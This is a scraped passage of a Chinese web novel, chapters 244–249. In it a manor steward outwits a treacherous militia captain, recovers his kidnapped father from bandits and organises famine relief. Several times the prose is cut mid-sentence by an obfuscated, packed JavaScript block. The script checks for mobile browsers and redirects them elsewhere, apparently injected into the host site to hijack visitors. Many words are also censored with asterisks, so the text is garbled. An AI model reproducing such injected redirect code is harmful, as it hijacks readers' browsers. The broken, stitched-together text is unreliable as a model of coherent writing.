也难怪他滋润,如今在农村,两块大洋就能买一个黄花大闺女,买谁家的闺女相当于救她全家。 李富贵现在正忙着给李二狗生一个小弟弟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930888|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “二狗,你不是要给我一个解释吗?”于兰芝小心翼翼地问道。 “兰芝,咱们有女儿,你放心,无论什么时候,我肯定不会抛弃你们娘俩。” 李二狗真希望于兰芝能像静雯那样识大体、明事理。 对于男人来说,有时候你抓得越紧反而越让他想逃离,谁也不想被人扼住咽喉。 “她在哪?” “一个别人都不认识她的地方。” “呵呵,也对,毕竟她以前是胡家大院的四奶奶。” “兰芝,前院还有事,晚上我再来看你们。” 于兰芝得到李二狗的承诺,内心也安定了许多。 她现在无法要求更多,谁让自己现在越来越离不开这个男人! 李二狗离开于兰芝的院子,并不打算立即去见张大发。 他来到张玲玉的院子,对她又进行了一番安抚。 直到太阳快下山时,李二狗才迈着八字步来到客厅。 张大发见到李二狗,急忙点头哈腰地迎了上去。 “李管家,您回来了。” “让张队长久等了,身上的伤有些不舒服,在屋里睡了一觉,没想到一觉睡到现在,哈哈。” 李二狗丝毫不掩饰自己对张大发的轻视。 “李管家大伤初愈,理应多休息,是我打扰您休息了。” 李二狗坐到椅子上,张大发没敢坐下,他站在离李二狗二米远的地方,低着头像一个做错事正在挨骂的孩子。 李二狗故意不说话,端起桌上的茶杯,细抿了一口。 主人端茶意味着送客,张大发又岂能不懂。 “李管家,我这次来主要是想向您解释一件事,澄清一个误会。” “奥?咱们之间有误会吗?” 李二狗的意思很明显,咱们之间的事根本不是误会。 “李管家,”张大发竟“扑通”一声跪在李二狗面前,“都是牛得水逼我那样做的,我只不过是他的提线木偶,我真的不是存心要害您啊。” “是吗?”李二狗冷冷地说道,“张队长倒是挺聪明,知道**不会出来为自己辩解。” 第244章 有些人活着,他已经** “李管家,请您相信我,真的是牛得水逼我的,我也是没有办法啊,我要不答应,他就要取消凤凰镇民团。” “我能理解张队长的苦衷。” “真的?”张大发简直不敢相信自己的耳朵。 “是啊,与你的民团比起来,我李二狗的这条贱命确实一文不值。” 张大发刚刚有所缓和的脸色又变成了酱紫色。 “李管家,我张大发被猪油蒙了心,一时鬼迷心窍才做出对不起您的事情,请您大人有大量,就把我当个屁,放了吧。” 李二狗此时很鄙视张大发,为了活命可以连自己的尊严都不要。 但求人也得有个求人的态度,他竟然空着手来求人,李二狗深深地鄙视他。 “张队长,咱们都是成年人,成年人就要对自己的行为负责,你说我说的对吗?” 张大发机械般地点了点头,又猛地摇了摇头,他实在不知道该如何回答这个问题。 如果张大发只是向县政府举报自己,李二狗可能会饶他一次,但他却趁着自己被抓的时候**胡家大院,这是他绝对不能忍受的。 如果不是李二狗机警,提前做了戒备,张大发一旦攻入胡家大院,会发生什么可想而知。 这是李二狗不能饶恕他的地方! 敢打我女人和孩子的主意,一定要让你付出血的代价! 这是李二狗的底线,任何人都不能挑战! “张队长还有什么事吗?没有的话我就去休息了,这身上的伤口啊,即使它痊愈了,也会时常让人感到不舒服,时刻提醒你不能忘记发生过什么。” “李管家,我怎样做您才能原谅我,您还是明说吧。” “张队长,我这个人有个缺点,嫉恶如仇,喜欢睚眦必报,你千万不要介意。” 李二狗说完就起身离开了,张大发跪在地上呆若木鸡。 张二驴站在门口,冷笑道:“张队长,我们李管家说今天就不留你吃饭了,你请便吧。” 张大发试图站起来,连续起了好几次都没有成功。 张二驴站在原地冷眼旁观,丝毫没有上前帮忙的打算。 张大发只能扶着旁边的椅子才勉强站立起来,腿哆嗦的几乎无法站立。 他慢慢地踱出房门,夕阳下的背影显得十分寂寥。 “狗哥,和他废什么话?干脆我派两个人在路上除掉他。” “除掉他很容易,但这样除掉他,并没有什么意义,咱们应该让他死的有价值,让全县的人都知道,和咱们胡家大院作对就是找死!” “看他那猥琐的样子,我就生气,哎,实在是丢人!” “有些人活着,他已经**!二驴,你就等着看好戏吧。” 第二天,李二狗来到清风寨。 **对他的态度还是十分冷淡。 “素文,还生我气呢?我知道错了,你别生我气了。” “我哪里有资格生你的气?咱俩既没有婚书,也没有生养,只不过是恰好碰见,一起过日子罢了。当然一起过日子也谈不上,你只是偶尔来我床上留宿罢了。” **说的话越刻薄,内心就越痛苦,李二狗又何尝不是? 他知道此时说什么**都听不进去。 他一把抱住**。 “放开我,放开我……” **越挣扎,李二狗反而抱得越紧,两颗心贴得越近,隔阂就会越少。 **掐他、咬他,李二狗都不管不顾,只是紧紧地抱着她。 “我恨死你了,李二狗。” “我也恨我自己,可是我爱你,素文。” **终究还是屈服了,她趴在李二狗的胸口抽泣,大颗大颗的泪珠滴落在他的胸口上。 “狗哥。” 正当两人准备深入交流时,陈老三不合时宜地推门走了进来。 **急忙离开李二狗的怀抱,转身去擦眼泪。 “你**进来前不会敲门吗?” 陈老三嘿嘿一笑,说道:“狗哥,大白天的哪想到你们……嘿嘿,下次我一定敲门。” “什么事?” “你猜谁来了?” 李二狗没好气地问道:“谁?” “张大发!” “他来干什么?” “他要见你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936117|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “见我?” “奥,不对!他要见清风寨老大。” 李二狗已经大体猜到张大发来清风寨干什么。 “十分钟后把他带到议事厅,让孬蛋他们几个都过去。” “好嘞,我这就去告诉他们。” 陈老三走后,李二狗说道:“我去开会,一会儿再回来陪你。” **只是“嗯”了一声,并没有说话。 李二狗知道,离他俩彻底和好只差床上那一哆嗦。 议事厅里,李二狗蒙着面坐在会议桌正中央。 “孬蛋,等会你来问他。” “放心吧狗哥,我知道怎么对付这个王八蛋。” 众人坐定之后,张大发被人带进议事厅。 “各位清风寨的好汉,你们好,鄙人凤凰镇民团队长张大发,久仰各位英雄大名,今日特来拜会。” “久仰我们大名?那你说说我们是谁?” 张大发愣住了,他没想到自己的一番客套说辞,对方竟较起了真儿。 “那个……咳咳,各位英雄好汉的大名虽然鄙人并不知晓,但清风寨的大名却是如雷贯耳。” “少他妈扯淡,有话就说,有屁就放,爷爷们没功夫陪你在这里扯闲篇。” 张大发没想到自己堂堂凤凰镇民团队长的名号在这里竟这么不受待见,更没想到这些人如此不讲武德,连让他坐下的客套话都不愿说。 “鄙人今天来清风寨是有一个发财的机会想送给各位当家的。” 陈老三骂道:“你**能有这好心?爷爷怎么这么不相信!” 张大发看陈老三有些面熟,但一时也想不起在哪里见过。 “如果我说谎,各位当家的可以立刻毙了我,我绝无二话。” “来人,把这个人拖出去毙了!” 张大发吓懵了。 “别别别,我说的都是真的。” 李二狗给宋孬蛋使了个眼色,宋孬蛋便挥手让人先退下。 “说说吧,什么发财的机会?” 张大发清了清嗓子,故作神秘地问道:“各位当家的都听说过胡家大院吧?” 第245章 李二狗将计就计 “胡家大院谁没听说过?它怎么了?” “你们可能不知道,胡家大院现在存有上百万斤小麦,那可都是白花花的现大洋啊。” 李二狗着实吓了一跳,张大发如何知道胡家大院有大量的存粮? 他故意说上百万斤粮食肯定是为了吸引清风寨去抢,但这个消息又是怎么泄露出来的? 不过想想也并不奇怪,胡家大院加上几个铺子得有上百口人,人多嘴杂,消息肯定是瞒不住! 李二狗以前一直以为自己做得神不知鬼不觉,原来只不过是他的一厢情愿罢了。 宋孬蛋瞅了一眼李二狗,李二狗示意他继续问下去。 “上百万斤小麦?你不会是唬人吧?这年月,谁家能有那么多粮食?” “这位当家的,我不骗你,胡家大院几个仓库里都堆满了粮食,没有一百万斤至少也得有四五十万斤。” 宋孬蛋质问道:“既然有这么好的发财机会,你告诉我们干什么?” 张大发上前一步,笑得脸上的囊褶子都平整了许多。 “嘿嘿,这么多粮食仅凭我们民团的力量根本吃不下,所以想和清风寨的好汉们一起,大家有财一起发。” 宋孬蛋冷笑道:“你是吃不下还是吃不了?想拿我们清风寨当枪使?谁不知道前两天胡家大院发生的事?两挺机关枪一响,十几个人血溅当场!” 陈老三猛地一拍桌子,骂道:“娘的,这是想害咱们啊,老子一**了你。” 说着就掏出驳壳枪一把拍在桌面上。 张大发吓得脸都绿了,心想,这些土匪怎么一言不合就掏枪! “各位当家的先不要着急,我有一个绝佳的好主意,可以不费一枪一弹拿下胡家大院。” “奥?你倒是说说看。” “明天晚上我带几个人先去胡家大院,到时候你们等我信号,咱们可以里应外合,一举拿下胡家大院。” 李二狗没想到张大发心肠如此歹毒,自己正愁没有合适的机会宰了他,他倒好,自己送上门。 宋孬蛋瞅了一眼李二狗,李二狗轻轻地点了点头。 “那好吧,我们就合作一次,不过,到时候这粮食怎么分啊?现在必须得讲好。” “四六分怎么样?你们清风寨拿大头。” “好,明晚胡家大院见!” 张大发走后,陈老三骂道:“这**真是找死!狗哥,你为何不让我现在就宰了他?” “想让他死很容易,但这样的人应该让他死得有价值,我要通过他在全县立威,让所有对胡家大院怀有坏心思的人**那份心!” 宋孬蛋说道:“狗哥,明天我带些人下山配合你。” 最懂李二狗的还是宋孬蛋。 “好,明天一早我去趟县城找找孙竹刚。” 第二天黄昏,天色渐渐暗了下来,空中还飘着小雨。 张大发带着几个人,抬着一头杀好的野猪和几坛子酒来到胡家大院。 李二狗亲自接待了他。 “李管家,以前是我不懂事,无意中得罪了你,为了表达歉意,我今天亲自进山杀了一头野猪,送给李管家赔罪。另外,以后我们凤凰镇民团愿意免费为胡家大院提供保护。” 李二狗听后显得很高兴,说道:“张队长如此有诚意,如果我还揪着过去的事不放,就显得有些不识抬举了,今晚别走了,我吩咐厨房把这头野猪炖了,咱们兄弟不醉不归。” 张大发没想到李二狗这么容易就上了当,竟还主动留下自己喝酒,看来胡家大院真是气数已尽,天都要亡它。 “李管家,敞亮!今晚咱们一醉方休。” 一片欢歌笑语中,野猪宴开席了。 “哥俩好啊,三星高照,四季财啊,五魁首啊,六六顺啊,七个桥啊,八匹马啊,九你喝啊,全来到啊……” 很快李二狗就喝得烂醉如泥,趴在桌子上睡着了。 “李管家,李管家,你别睡,咱们接着喝。” 李二狗的鼾声响了起来。 张大发给带来的几个人使了个眼色,按照提前制定的计划,他们分别摸向角楼和大院门口。 很快角楼处就传来通过手电筒传递的信号。 张大发看着趴在桌上酣睡的李二狗,兴奋不已。 他从兜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936118|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掏出一颗“信号弹”,走到院子中间,手举向空中,拉掉引信,“嘭”的一声,循声望去,只见天空中一蓬亮丽的烟花刹时绽开,姹紫嫣红,就像一朵巨大的荷花突然打开花蕾。 大院外瞬间响起了此起彼伏的**。 张大发兴奋异常,口中念道:“李二狗啊李二狗,今天就是你的死期!” “张队长,你是在说我吗?” 张大发惊讶之中猛回头,看到李二狗正站在门口,一脸微笑地看着他自己。 “你……你没有喝醉?” “哈哈,白开水怎么会喝醉呢?” “你……李二狗你不要太嚣张,清风寨的人马上就要冲进来了,识相的赶紧投降,我可以给你留个全尸。” “张队长,你先回头看看四周。” 张大发狞笑着回过头,顿时愣住了。 外边的**此起彼伏,可胡家大院大门口的几个家丁却满脸笑容地看着自己,旁边站着几个他带来的民团队员,全部被五花大绑。 角楼的灯笼亮了起来,几个人微笑着朝他挥手。 他这才意识到,自己上当了! “李二狗,我和你拼了!” “砰!” “啊!” 张大发的手腕被张二驴射出的**击中,刚刚掏出的驳壳枪掉落在地上。 “张大发,你举报陷害我在先,勾结土匪**我胡家大院在后,我实在是没有理由饶恕你!” “哼,今天落到你手里算我倒霉,要杀要剐,悉听尊便!” “杀你也不用我动手。” “二狗兄弟,大哥来晚了,让你受惊了!” “大哥,没想到您亲自带队,真是辛苦了!” 张大发看着孙竹刚神气活现的样子,知道一切都结束了。 孙竹刚亲自带队,击毙清风寨土匪数十人,救了胡家大院上百口,李二狗专门前往县政府,敲锣打鼓送去一面感谢锦旗。 王正直和孙竹刚受到省政府通令嘉奖。 张大发勾结清风寨土匪,**胡家大院,被公开枪决。 随后,凤凰镇民团**家大院收编,张二驴亲任队长。 第246章 李富贵被** “狗哥,狗哥,大事不好了,出事了。” 张二驴慌慌张张地跑进院里,李二狗正打着哈欠刚刚起床。 “二驴,看你这慌慌张张的样子,又出什么大事了?” 张二驴把手里的一封信交给李二狗。 “狗哥,土匪……这是土匪刚刚送来的勒索信。” 灾年生乱象,江东县地处太行山区,山高林密,众多走投无路的百姓纷纷落草为寇。 一时间,江东县及周边地区出现了大大小小十余伙土匪。 老实巴交的老百姓一旦当上土匪,立马学会了打家劫舍、**掳掠,好像只有胡作非为才是土匪的标配。 正应了那句古话,可怜之人必有可恨之处。 李二狗急忙接过勒索信,问道:“家里谁出事了?” “不是咱们大院的,是……是你家李大叔。” “什么?” 李二狗大吃一惊,赶紧打开勒索信。 李二狗先生大人尊鉴: 山高水长,久仰清名。闻君仁厚持家,乐善好施,乡里称颂,本不应惊扰清梦。然天灾频仍,民不聊生,我等困守穷谷,炊烟难继,万般无奈,唯借外助以延残喘。 今特奉书一通,恳请赐大洋两千,以为赈济孤寡之资。此非劫掠,实乃暂借,他日时运转顺,必当加倍奉还,立约为证。 若三日内见银于西岭古庙石龛之下,自有人取走,绝不伤令尊分毫,亦不扰及胡家大院。倘迟疑不决,或报官设伏,则恐风雨骤至,屋瓦难全——非我所愿,实势使然也。 江湖路远,后会可期。望君三思,勿令血染秋霜。 青山寨主野狼顿首 辛未年十月初七 李二狗没想到这个叫野狼的土匪还是一个有文化的土匪,勒索信文辞典雅,书法也见功力,但客气礼貌之外却暗藏杀机,令人不寒而栗。 “这个青山寨在什么地方?怎么以前从来没有听说过?” “我已经派人去打听了,应该是一伙新上山的土匪。” “这伙土匪真是不知天高地厚,绑票之前也不查查黄历,竟然绑到老子头上了!” “狗哥,你不要着急,等打听到青山寨的下落,我立即带领兄弟们冲上山救出李大叔。” 土匪山寨一般都建在地势险要之处,易守难攻,如果贸然攻山,肯定会造成不小的伤亡。 “二驴,没有我的命令之前,千万不要轻举妄动,我现在出去一趟,一切等我回来再说。” 张二驴以为李二狗是去县城找孙竹刚。 “狗哥,咱们要是现在报官,一旦被土匪得知,李大叔可能会有危险啊,土匪在县城一般都安插了眼线。” “放心吧,我心里有数。” 李二狗直接上了清风寨。 “孬蛋,你听说过青山寨吗?” “在西岭那边新起了一伙土匪,山寨名字好像就叫青山寨。**,这名字起得有山寨咱们清风寨的嫌疑。” 李二狗此时可没有心情和宋孬蛋说笑,正色道:“他们有多少人?” 宋孬蛋看李二狗如此严肃,便收起笑容。 “目前不清楚,估计也就七八个人,狗哥,出什么事了?怎么想起问这个?” 李二狗从兜里掏出勒索信递给宋孬蛋。 宋孬蛋看过之后大声骂道:“这群土匪简直是吃了熊心豹子胆,竟敢**李大叔,我现在就带人去宰了他们。” “孬蛋,稍安勿躁,区区七八个土匪实在没有必要舞刀弄枪。再说我爹被土匪绑票,清风寨却出面搭救,传出去恐引起不必要的麻烦。” 宋孬蛋知道李二狗心中必然有了主意。 “狗哥,我们该怎么做,你就吩咐吧。” 李二狗附耳一番,宋孬蛋喜笑颜开。 傍晚时分,宋孬蛋带着几个人抬起一扇猪肉四坛美酒来到青山寨下。 “站住!你们是什么人?” 两个土匪从密林中窜出,手里的火铳对准了宋孬蛋。 站在宋孬蛋身后的一个人说道:“我们是清风寨的,这是我们当家的宋孬蛋,特地前来拜会你们大当家野狼。” 清风寨声名远播 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“张大当家的,我们大哥非常敬仰您的威名,特意令我送来一扇猪肉四坛美酒,还请张大当家的收下,千万不要嫌弃。” “哎呀,这怎么敢当?应该是我们去拜访大当家的才对。” 在江东县及其周边的土匪心目中,清风寨大当家是一个谜一样的存在,大家只知道他一直蒙面示人,极少有人见过他的真实面目。 “四海之内皆兄弟,张大当家的,咱们两家山寨离得这么近,以后理应多相互走动才是。” 张清明喜出望外,结交清风寨一直是他的梦想,没想到幸福竟来得如此突然。 “宋当家的,我张清明何德何能能得到清风寨的垂青,今天您别走了,我这就吩咐人炖肉,咱们一醉方休。” “张大当家的,如若不嫌弃,咱们以后就以兄弟相称如何?” “宋二哥,请受小弟一拜。” “张兄弟,快快请起。” 第247章 兼并青山寨 夜幕降临后,青山寨燃起一堆篝火,几个人围聚在一起大碗喝酒、大块吃肉。 “兄弟,这里没有外人,让兄弟们都一起来喝酒吃肉吧。” “宋二哥,不怕你笑话,除了寨门口留了两个站岗的兄弟,剩下所有人都在这里了。” 宋孬蛋暗中数了数,只有七个人。 “兄弟,你这青山寨的位置易守难攻,简直是**挑一的宝地啊,怎么才这么几个兄弟?” “哎,二哥有所不知,青山寨不比你们清风寨,就这几个兄弟,我们还是吃了上顿没下顿,兄弟们手里拿得还是老炮筒和大刀红缨枪,想**个大户都不敢,好在这种局面很快就要改观了。” “兄弟此话怎讲?有发财的路数了?” “不瞒二哥,昨天我们刚绑了一个大肉票,是胡家大院李二狗的亲爹,我已派人送去赎票,要二千块大洋,不信他敢不给。” “谁?李二狗的亲爹?”宋孬蛋吓得碗里的酒都撒了出来,“兄弟,你可是惹下大祸了!” 张清明闻听此言,不由得吃了一惊。 “二哥何出此言啊?” “你知道李二狗是谁吗?你竟敢**他亲爹!” “我知道啊,胡家大院管家。” “你是只知其一不知其二,听说李二狗神通广大,他是县警察局长孙竹刚的结拜兄弟,凤凰镇民团队长张大发听说过把?前两天就是因为得罪了他,被县政府**了。” 张清明吓出一身冷汗。 “另外胡家大院家丁众多,听说光机关枪就有七八挺,还有迫击炮,最近又刚刚收编了凤凰镇民团,你怎么敢绑他爹啊?” 张清明以前只知道李二狗是胡家大院的管家,却没想到他背景竟如此强大。 “我现在绑了他爹,他敢不交大洋?”张清明依然嘴硬道。 “就算这次他给了你大洋,你以为你有命花吗?你这山寨能扛得住机关枪和迫击炮?他就是什么都不做,把下山的路封锁上十天半个月,你们怎么生存?” 张清明吓坏了,急忙问道:“二哥,那我现在怎么办?” “兄弟,都是自己人,我就不瞒你了,我们大当家的和李二狗有些私人交情,你现在马上把他爹送下山,我回去找我们大当家的在中间给说和说和,也许他会既往不咎。” “那就谢谢宋二哥了,明天一早我就安排人把他送下山。” “兄弟,你还敢等到明天?说不定今天晚上你这山寨就被人用大炮轰平了,赶紧现在送下山。” “宋二哥说的对,我这就安排。来人,赶紧把肉票送下山,一定要注意态度。” “兄弟,有句话我不知当讲不当讲?” “宋二哥,但说无妨。” “世事艰难,你们就这点人这几杆枪,想生存下去着实不易,不如加入我们清风寨,大家携起手来共图大业。” 张清明饱读圣贤书,如果不是生活所迫,他绝不会落草为寇。 虽然已经落草,但他心中一直有一个梦想,清风寨的寨规他早有耳闻,完全符合他对未来的想象。 “宋二哥,小弟求之不得,只是不知道你们大当家的愿不愿意?” “兄弟放心,我回去之后就向我们大当家的汇报你这里的情况,你就擎好吧。” “谢谢二哥,来,咱们再干一碗。” 喝过酒之后,宋孬蛋就下了山。 李二狗为了以防万一,还制定了第二套计划。 如果张清明不放人,就趁青山寨的人喝醉之后,和宋孬蛋里应外合,一举拿下青山寨。 没想到宋孬蛋凭借着自己的三寸不烂之舌轻易忽悠张清明立马放了李富贵。 宋孬蛋刚出青山寨的大门,就遇到在路边埋伏的张石头。 “蛋哥,怎么回事?刚才我看到有人把李大叔送下山了?” “石头,情况有变,我们回去再说。” 回到清风寨,宋孬蛋便把事情的经过告诉了李二狗。 “狗哥,青山寨的位置真是百里挑一,我建议咱们一定要收编青山寨,作为咱们清风寨的分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“青山寨占据天险,易守难攻,我建议保留青山寨,作为清风寨分寨,以备不时之需,兄弟愿意在青山寨为各位当家的分忧。” 宋孬蛋说道:“张兄弟所言极是,我们已经决定重新建设青山寨,作为清风寨的后勤基地,至于张兄弟能不能留在建成后的青山寨,得由清风寨寨务会研究之后才能决定。” 第248章 和老大的意见保持一致 张清明对清风寨寨务会早有耳闻,知道那是清风寨的最高决策机构,现在自己身单力薄,寨务会研究决定实际相当于否定了他的建议。 看张清明有些犹豫,宋孬蛋故意说道:“既然张兄弟有所顾虑,我们清风寨也绝不会强人所难,以后咱们两家山寨还会和平相处。” 张清明从进入清风寨就被这里豪华的建筑和和谐的氛围所感染,比起惨淡经营的青山寨,这里简直就是天堂,他没有不加入的理由。 “各位当家的,我既已决定加入清风寨,自然一切都听从寨务会的安排。” “哈哈,好,张兄弟痛快,今天晚上杀鸡宰羊,欢迎青山寨的兄弟们加入。” 人散后,李二狗单独把宋孬蛋留了下来。 “孬蛋,张清明这个人目前来看还是有一些才华,至于人品怎么样,还得继续观察。我看先让他进入寨务会,你再把大家的分工重新调整一下,下次上寨务会研究。” “好的,狗哥,我马上去办。” 李二狗下了山,回到夹皮沟村。 敲了半天门,里面都没人回应。 “爹,我是二狗,快开门。” “是二狗,是二狗,春妮,快……快去开门。” 开门的是一个青涩的女人,看模样比李二狗还小。 李富贵看到李二狗,一下子扑到李二狗怀里,哭得一把鼻涕一把泪。 “二狗啊,你终于回来了,爹被土匪绑了,差点死在土匪窝里。” 李二狗说道:“好了,爹,你以为土匪会平白无故把你放回来吗?我是花了钱的。我看你还是收拾收拾东西,跟我去镇上住吧。” “去镇上住?家里这些地怎么办?” “地都租给佃户种了,你留在村里有什么用?该收租的时候你再回来就是。” “家里刚盖的大瓦房,真是有点舍不得。” “留在村里你不怕再被土匪绑票吗?镇里房子我已经买好了,你要是愿意,随时可以搬过去。” 李富贵看了看身旁的女人,说道:“我和你娘商量商量再给你回复。” 李二狗脸都红了。 “明天我安排人来帮你搬家。” 李二狗说完转身就走。 “二狗,这就走啊?让你娘做面饼子给你吃,她做的面饼子可好吃了。” 李二狗头也没回,冲身后摆了摆手。 “还是留着爹自己吃吧。” 转眼就到了冬小麦播种时节,大片大片的土地因为没有麦种而无法播种。 于兰芝正抱着胡梦瑶坐在屋檐下晒太阳,李二狗走了进来。 逗弄了一会胡梦瑶,李二狗说道:“兰芝,有件事和你商量一下。” “什么事啊?你自己做主就行了,不用和我商量。” “现在到了小麦播种时节,我去地里看了看,大片的土地因为没有麦种而无法播种,如果这样的话即使熬过了这个冬天,佃户们明年还是无法生活下去。” “你的意思是把麦种发给佃户们?” “我的意见是借给他们,不然他们不懂得珍惜。” “二狗,你想过没有,把麦种借给他们,他们可能根本不拿去播种,而是吃了,对于极度饥饿的人来说,他们是没法考虑明年怎么样的。” “我考虑过这个问题,目前广佛寺每天为灾民提供一碗白面糊糊,灾民不至于饿死,我们发麦种的时候告诉他们,麦种里已经掺杂了农药不能食用,我想他们应该不会选择铤而走险。” “你都想好了就这样办吧,咱们的余粮也不多了,发完这次麦种可能就无法再给广佛寺提供粮食了。” 这正是李二狗所担心的,政府不赈灾,仅靠民间力量自救,根本解决不了问题。 这是一个什么样的政府?竟然毫不在意老百姓的死活! 连李二狗都懂得水能载舟亦能覆舟的道理,这些官老爷竟不懂! “只能走一步看一步了。” 在李二狗的操作下,仙人洞镇的冬小麦顺利种了下去,胡家大院的存粮也捉襟见肘,只能停止向广佛寺供应粮食,广佛寺的粥棚被迫关闭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940298|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>大批灾民被迫背井离乡重新开始流浪。 清风寨议事厅。 张清明已经知道了李二狗的**,他在震惊之余,对李二狗的佩服之情也如滔滔黄河之水一发而不可收。 “孬蛋,你给大家说一说山寨存粮的情况。” 宋孬蛋翻开面前的小本本,说道:“经过统计,目前山寨尚有小麦四十五万斤。” 秀才和张清明两人不禁倒吸一口凉气,他们没想到清风寨竟会有如此多的存粮,愈加佩服李二狗的远见卓识。 “鉴于目前灾情严重,政府又毫无作为,所以我建议,从明天开始,我们每天以胡家大院的名义向广佛寺捐赠两千斤小麦用来赈济灾民。” 听到每天捐赠两千斤小麦,大家都保持着沉默,毕竟不是少数。 “今年上半年,咱们通过倒买倒卖粮食赚了一些钱,我内心一直不安,赚这样的钱确实不应该。现在家乡父老面临劫难,很多人也许熬不过这个寒冷的冬天,咱们能眼睁睁看着他们饿死冻死吗?” 陈老三说道:“狗哥,大家不是不同意捐粮,只是觉得每天捐两千斤是不是太多了点?毕竟咱们存粮也不多,兄弟们也不能饿肚子不是?” “是啊,三哥说得有道理,从现在到明年小麦收获还得七八个月的时间,如果每天捐赠两千斤小麦,咱们也撑不了多久。” “关键是明年小麦能不能按时收获尚未可知,要是还像今年一样,咱们就太被动了。” 秀才和张清明新加入寨务会不久,他们还不敢轻易发表意见,便保持着沉默。 “秀才、清明,你俩什么意见?” 秀才只能说道:“我觉得确实应该捐,但在捐赠的数量上是不是再斟酌斟酌?” 秀才为了保险起见,选择和大多数人意见保持一致。 “清明,你什么意见?” 张清明想都没想,直接说道:“狗哥,我听您的。” 张清明一说完,秀才后悔不迭,作为新人,确实应该和老大的意见保持一致。 第249章 溃兵来到江东县 大家发表完各自的意见之后,李二狗并没有急着做总结性陈述。 他面带微笑,拿起桌上的茶杯,轻轻地呷了一口茶。 这个动作表明他在汇总考虑大家的意见以便做出决定。 清风寨有个规矩,举行寨务会的时候,除了寨务会成员之外,其他任何人不得随意进入议事厅。 张清明赶紧起身给李二狗的杯子里蓄满了水。 秀才再一次自惭形秽,恨不得狠狠地扇自己两个大嘴巴子。 在张清明面前,他就是个傻雏! 李二狗心想,张清明不愧是接受过正规学校教育的人,很有眼力劲,是个做大管家的人才。 “刚才大家说的意见都有一定的道理,但是大家有没有想过一个问题,如果山下的人都饿**,你手里拿着白面馍馍能咽得下去吗?反正我是咽不下去。” 议事厅里鸦雀无声。 “现在全县有几万灾民,年轻力壮的都出去讨饭了,剩下的都是一些老弱病残,广佛寺每天施舍的一碗粥就是他们生存下去的唯一指望,否则他们就得饿死!谁没有父母妻儿?谁没有老去的那一天?” 面对李二狗的灵魂拷问,大家纷纷低下头。 此刻,和李二狗比起来,他们觉得自己简直不是人,是畜生! 只顾自己,不顾别人! “狗哥,你别说了,我同意捐粮。” “我也同意。” “我也同意。” 最后大家一致同意每天向广佛寺捐赠两千斤小麦。 这种**决策的过程也让秀才和张清明大开眼界,他们一致认为,跟着李二狗混,肯定大有前途! 广佛寺门口架起了十几口大锅熬粥,每天寺庙门口都排着长长队伍,日复一日的场景,是这个萧瑟冬季少有的温暖场面。 与此同时,军阀之间的混战进入白热化。 今天张大帅和冯大帅打,明天张大帅联合冯大帅和蒋大帅打,后天蒋大帅又联合张大帅和冯大帅打,整个中原地区简直乱成了一锅粥。 军阀混战,遭殃的还是老百姓。 混战期间,老百姓流离失所,忍冻挨饿,再加上天灾,一时间饿殍遍野。 很多地方,难民为了换取一口吃食,许多人竟不惜售卖妻女、易子而食。 江东县因为有广佛寺施粥,饿死的人最少,也导致周边地区的难民纷纷涌入江东县,广佛寺一时间成为全省的焦点。 二千斤小麦已经远远没法满足难民每天的需求,寺院没有办法,只能拼命往稀饭里加水,一碗白面糊糊几乎清澈见底。 李二狗有种要出事的预感! “狗哥,你怎么了?看你一副愁眉苦脸的样子!” 李二狗背着手,站在后山悬崖上,眼睛眺望着远方。 半晌之后才缓缓说道:“孬蛋,周边的灾民大量涌入江东县,现在广佛寺已经应接不暇,很多难民排一天队都吃不上一碗稀饭。” 宋孬蛋叹息一声,说道:“狗哥,每天两千斤小麦已经接近咱们山寨能承受的极限,如果再增加,山寨恐撑不了多久!” 李二狗远比宋孬蛋考虑的更长久一些。 “孬蛋,现在的关键不是捐多捐少的问题,广佛寺已经引起上级的关注,粮食来源注定会成为大家关注的焦点,一个小小的胡家大院怎么会有如此多的粮食?” 